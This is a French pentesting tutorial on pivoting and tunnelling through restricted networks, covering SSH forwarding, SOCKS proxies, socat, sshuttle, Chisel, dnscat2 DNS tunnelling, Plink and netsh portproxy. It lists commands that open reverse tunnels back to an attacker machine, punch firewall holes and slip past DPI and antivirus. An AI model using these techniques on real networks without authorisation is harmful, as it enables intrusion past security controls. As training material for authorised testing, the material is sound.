La plupart des techniques de mouvement latéral nécessitent que des ports spécifiques soient disponibles depuis la machine de l’attaquant. Mais en réalité, les administrateurs peuvent bloquer certains de ces ports pour des raisons de sécurité ou avoir mis en place une segmentation réseau, vous empêchant ainsi d’atteindre les ports SMB, RDP, WinRM ou RPC.
Puisque nous allons établir une connexion vers notre machine, il est fortement conseillé de créer un utilisateur n’ayant accès à aucune console pour la création des tunnels :
useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser
Dans le tunneling ssh, -L et -R désignent la source du traffic. “-L” désigne la machine local (ssh-client) et -R désigne la machine distante (ssh-server).
<-L/-R> <src-IP>:<src-port>:<dst-IP>:<dst-port>
Le commutateur -N est à utiliser si le compte n’est pas autorisé à exécuter un shell sur le PC.
Port Forwarding / SSH Tunneling
Transfert port local
╔═══════════════════╦═════════════════════╗
╭ ╮ ╭ ╨ ╮ ╭ ╨ ╮ ╭ ╮ ╨
| ╞ >>>>>> 80 ╡ A ╞ ⊜==ssh-tun== ╡ B ╞ >>>>> 80 ╡ C | Restricted
╰ ╯ ╰ ╥ ╯ ╰ ╥ ╯ ╰ ╯ Networks
ssh-client ssh-server ╥
╚═══════════════════╩═════════════════════╝
Un port d’écoute est ouvert par le client SSH, et tous les paquets reçus sur ce port sont acheminés vers le serveur SSH. Les paquets sont ensuite transférés par le serveur SSH vers le socket (<ip>:<port>) spécifié :
Machine A
ssh -N -L 0.0.0.0:<port-A>:<IP-C>:<port-C> <username>@<IP-B>
Comme nous ouvrons un nouveau port sur la machine A, il se peut que nous devions ajouter une règle de pare-feu pour autoriser les connexions entrantes. Des privilèges administratifs sont nécessaires :
netsh advfirewall firewall add rule name="Open Port XX" dir=in action=allow protocol=TCP localport=<port>
Transfert port distant
Le trafic entrant est souvent plus contrôlé que le trafic sortant. Pour contourner ces restrictions est possible de passer par un transfert par port distant (équivalent d’un revershell).
╔════════════════════╗
╭ ╮ ╭ ╮ ╭ ╮
| A ╞ 8080 ==ssh-tun==⊜ | B | >>>>>>> | C | Restricted
╰ ╯ ╰ ╯ ╰ ╯ Network
ssh-server ssh-client
╚════════════════════╝
Le port d’écoute et le transfert de paquets sont cette fois gérés par le serveur SSH.
Un port d’écoute est ouvert par le serveur SSH, et tous les paquets reçus sur ce port sont acheminés vers le client SSH. Les paquets sont ensuite transférés par le client SSH vers le socket (<ip>:<port>) spécifié.
Machine B
ssh -N -R 127.0.0.1:<port-A>:<IP-C>:<port-C> <username>@<IP-A>
Proxy
SSH Multi-Port
╔════════════════════╗
╭ ╮ ╭ ╮ ╭ ╮ ║
| ╞ 8080 ==ssh-tun==⊜ ╡ ╞ >>>>>> 80 ╡ |
| A ╞ 6666 ==ssh-tun==⊜ ╡ B ╞ 66 <<<<<< ╡ C | Restricted
| ╞ 7777 ==ssh-tun==⊜ ╡ ╞ 77 <<<<<< ╡ | Network
╰ ╯ ╰ ╯ ╰ ╯
ssh-server ssh-client ║
╚════════════════════╝
ssh <username>@<IP-A> -R 8080:<IP-C>:80 -L *:66:127.0.0.1:6666 -L *:77:127.0.0.1:7777 -N
proxy SOCKS (Dynamic port forwarding)
╔════════════════════╗
╭ ╮ ╭ ╮ >>>>>>> ╭ ╮
| A ╞ 8080 ⊜==ssh-tun== | B | >>>>>>> | C | Restricted
╰ ╯ ╰ ╯ >>>>>>> ╰ ╯ Network
ssh-client ssh-server(proxy)
╚════════════════════╝
╔══════════════════════╦═══════════════════════════╗
╭ ╮ ╭ ╨ ╮ ╭ ╨ ╮ >>>>>>>> ╭ ╮ ╨
| ╞ >>>>>>>>>>>> 8080 ╡ A ╞ ⊜==ssh-tun.=== ╡ B ╞ >>>>>>>> ╡ C ╞ Restricted
╰ ╯ ╰ ╥ ╯ ╰ ╥ ╯ >>>>>>>> ╰ ╯ Network
ssh-client ssh-server(proxy) ╥
╚══════════════════════╩═══════════════════════════╝
Il est possible de créer un proxy SOCKS pour permettre à la machine A d’accéder au même réseau que la machine B sans restriction de port.
machine A :
ssh -N -D 0.0.0.0:<port-A> <username>@<IP-B>
Un port d’écoute est ouvert par le client SSH auquel est attaché un proxy SOCKS. Tous les paquets reçus sur ce port sont encapsulés et acheminés vers le serveur SSH. Les paquets sont décapsulés par le serveur SSH et transférés vers leur destination finale:
Nous pouvons ensuite ajouter le proxy à la proxylist sur la machine A :
~/Desktop ···························································─╮
❯ vi /etc/proxychains.conf ─╯
[ProxyList]
socks5 <IP> <port>
Si nous voulons exécuter une commande à travers le proxy, nous pouvons utiliser la commande proxychains:
proxychains curl http://hacktivity.fr
Proxychains utilise LD_PRELOAD pour hook les fonctions réseau de libc et forcer toutes les connexions à passer par le serveur proxy configuré. Cela fonctionne sur les binaires dynamiquement qui effectuent des opérations réseau simples. Cela ne fonctionnera pas avec les binaires liés de manière statique.
Passer par proxychains peux ralentir les scans réseau. En effet, proxychains est configuré avec des valeurs timeout très élevées pour l’attente de réponse. On peut modifier les valeur de tcp_read_time_out et tcp_connect_time_out dans le fichier de configuration pour augmenter les performances.
Reverse proxy SOCKS (Reverse dynamic port forwarding)
╔════════════════════╗
╭ ╮ ╭ ╮ >>>>>>> ╭ ╮
| A ╞ 8080 ==ssh-tun==⊜ | B | >>>>>>> | C | Restricted
╰ ╯ ╰ ╯ >>>>>>> ╰ ╯ Network
ssh-server ssh-client
╚════════════════════╝
Un port d’écoute est ouvert par le serveur SSH auquel est attaché un proxy SOCKS. Tous les paquets reçus sur ce port sont encapsulés et acheminés vers le client SSH. Les paquets sont décapsulés par le client SSH et transférés vers leur destination finale :
Machine B
ssh -N -R <port-A> <username>@<ip-A>
Le transfert dynamique de port à distance n’est disponible pour le client que depuis la version OpenSSH 7.6.2. La version du serveur n’a pas d’importance
Socat / Port Forwarding
╔════════════════════╗
╭ ╮ ╭ ╮ ╭ ╮
| A ╞ >>>>>>>>>>>>>>> 80 ╡ B ╞ >>>>>> 80 ╡ C | Restricted
╰ ╯ ╰ ╯ ╰ ╯ Network
socat
╚════════════════════╝
socat TCP4-LISTEN:<port-B>,fork TCP4:<IP-C>:<port-C>
Comme nous ouvrons un nouveau port sur la machine B, il se peut que nous devions ajouter une règle de pare-feu pour autoriser les connexions entrantes. Des privilèges administratifs sont nécessaires :
netsh advfirewall firewall add rule name="Open Port XX" dir=in action=allow protocol=TCP localport=<port>
Sshuttle
sshuttle transforme une connexion SSH en une VPN en mettant en place des routes locales qui forcent le trafic à travers le tunnel SSH. Cependant, il nécessite les privilèges root sur le client SSH et Python3 sur le serveur SSH.
╔══════════════════════╗
╭ ╮ ╭ ╮ >>>>>> subnet 1
| A ╞ ⊜==ssh-tun== | B | ══════════════════ Restricted
╰ ╯ ╰ ╯ >>>>>> subnet 2 Networks
ssh-client ssh-server
╚══════════════════════╝
Machine A
sshuttle -r <username>@<ip-B> <subnet-1> <subnet-2>
sshuttle -r [email protected] 10.10.10.0/24 172.42.20.0/24
Toutes les requêtes que nous adressons aux hôtes se situants dans les sous-réseaux que nous avons spécifiés seront transmises de manière transparente via la connexion SSH.
Chisel (HTTP Tunneling)
Chisel est un outil de tunneling HTTP qui encapsule et chiffre les données dans des paquets HTTP. Il est utilisé pour contourner la mise en place du DPI (Deep Packet Inspection) lorsque seule les communications http sont autorisés vers internet.
╔════════════════════╗
╭ ╮ ╭ ╮ >>>>>>> ╭ ╮
| A ╞ 8080 ==http-tun== | B | >>>>>>> | C | Restricted
╰ ╯ ╰ ╯ >>>>>>> ╰ ╯ Network
chisel-server chisel-client
╚════════════════════╝
proxy SOCKS
Le serveur et le client Chisel sont en fait exécutés à partir du même binaire :
Machine A
chisel server --port 443 --reverse
Le proxy SOCKS écoute sur le port 1080 sur l’interface de loopback :
2022/08/21 18:13:54 server: session#2: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Machine B
chisel client <IP-A>:<port-A> R:socks
# run chisel in background
chisel client <IP-A>:<port-A> R:socks > /dev/null 2>&1 &
Machine A
proxychains <command>
Dnscat2 (DNS Tunneling)
Tunneling a privilégier si les requêtes DNS sont autorisés vers l’extérieur (port 53). Il faut en revanche configurer une zone DNS associé à votre domaine pour déclarer votre machine en tant que nameserver.
Dnscat2 est un serveur DNS minimaliste qui va prendre le contrôle du domaine pour faire la communication entre un client et un serveur.
╔════════════════════╗
╭ ╮ ╭ ╮ >>>>>>> ╭ ╮
| A ╞ 53 =dns-requests= | B | >>>>>>> | C | Restricted
╰ ╯ ╰ ╯ >>>>>>> ╰ ╯ Network
dnscat2-server dnscat2-client
╚════════════════════╝
Machine A
Démarrage du serveur DNS :
dnscat2-server capsule.corp
.....
Starting Dnscat2 DNS server on 0.0.0.0:53
.....
Machine B
./dnscat capsule.corp
.....
>> Boxen Foxes Hedges Hobble Freely Ropers
.....
Session established!
.....
Machine A
dnscat2> New window created: 1
Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:
>> Boxen Foxes Hedges Hobble Freely Ropers
dnscat2>
On peut ensuite taper différentes commandes :
dnscat2> windows # list sessions
dnscat2> window -i 1 # select session 1
dnscat2> ? # help section
Machine A
Port Forwarding :
command (victim01) > listen 127.0.0.1:<port-A> <IP-C>:<port-C>
!! Attention la connexion est assez lente !!
Windows Tools
Putty / Plink
Avant qu’OpenSSH ne soit intégré à Windows, la plupart des administrateurs utilisaient PuTTY et son équivalent en ligne de commande Plink. L’un des avantages de l’utilisation d’outils populaires auprès des administrateurs de réseau est qu’ils seront rarement signalés par les logiciels antivirus. En revanche plink ne permet pas de faire de la redirection de port dynamique (proxy SOCKS).
╔════════════════════╗
╭ ╮ ╭ ╮ ╭ ╮
| A ╞ 3389 ==ssh-tun==⊜ | B | >>>> 3389 | C | Restricted
╰ ╯ ╰ ╯ ╰ ╯ Network
ssh-server ssh-client
╚════════════════════╝
``
```bash
/usr/share/windows-resources/binaries/plink.exe
Machine B
.\link.exe -ssh -l <username> -pw <password> -N -R <IP-A>:<port-A>:<IP-C>:<port-C> <IP-A>
Exemple
# Permettre la connexion RDP via un autre port sur la machine de l'attaquant.
.\plink.exe -ssh -l <username> -pw <password> -N -R 127.0.0.1:3389:127.0.0.1:3389 192.168.2.2
Avec un shell limité, il se peut que l’on ne puisse pas répondre à l’invite “Store key in cache? (y/n)”. On peut résoudre ce problème en lançant Plink ainsi :
cmd.exe /c echo y | .\plink.exe -ssh -l <username> -pw <password> -R <IP-A>:<port-A>:<IP-C>:<port-C> <IP-A>
Netsh
L’outil de configuration du pare-feu intégré Netsh (Network Shell) peut aussi être utilisé pour faire du transfert de port (nécessite des droits admin –> bypass UAC).
netsh interface portproxy add v4tov4 listenport=<listen-port> listenaddress=<listen-IP> connectport=<connect-port> connectaddress=<connect-IP>
# see the result
netsh interface portproxy show all
# delete the rule
netsh interface portproxy del v4tov4 listenport=<listen-port> listenaddress=<listen-IP>
Au besoin, on peut également utiliser netsh pour ouvrir un port sur le firewall windows :
netsh advfirewall firewall add rule name="open-port-evil" protocol=TCP dir=in localip=<listen-IP> localport=<listen-port> action=allow
netsh advfirewall firewall delete rule name="open-port-evil"
Autres
SSH & Proxy SOCKS
SSH ne propose pas d’option de ligne de commande générique pour le proxy SOCKS, mais il propose la commande ProxyCommand. Qui avec ncat (OpenBSD version) peut permettre cela :
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy <proxy-IP>:<proxy-port> %h %p' <username>@<IP>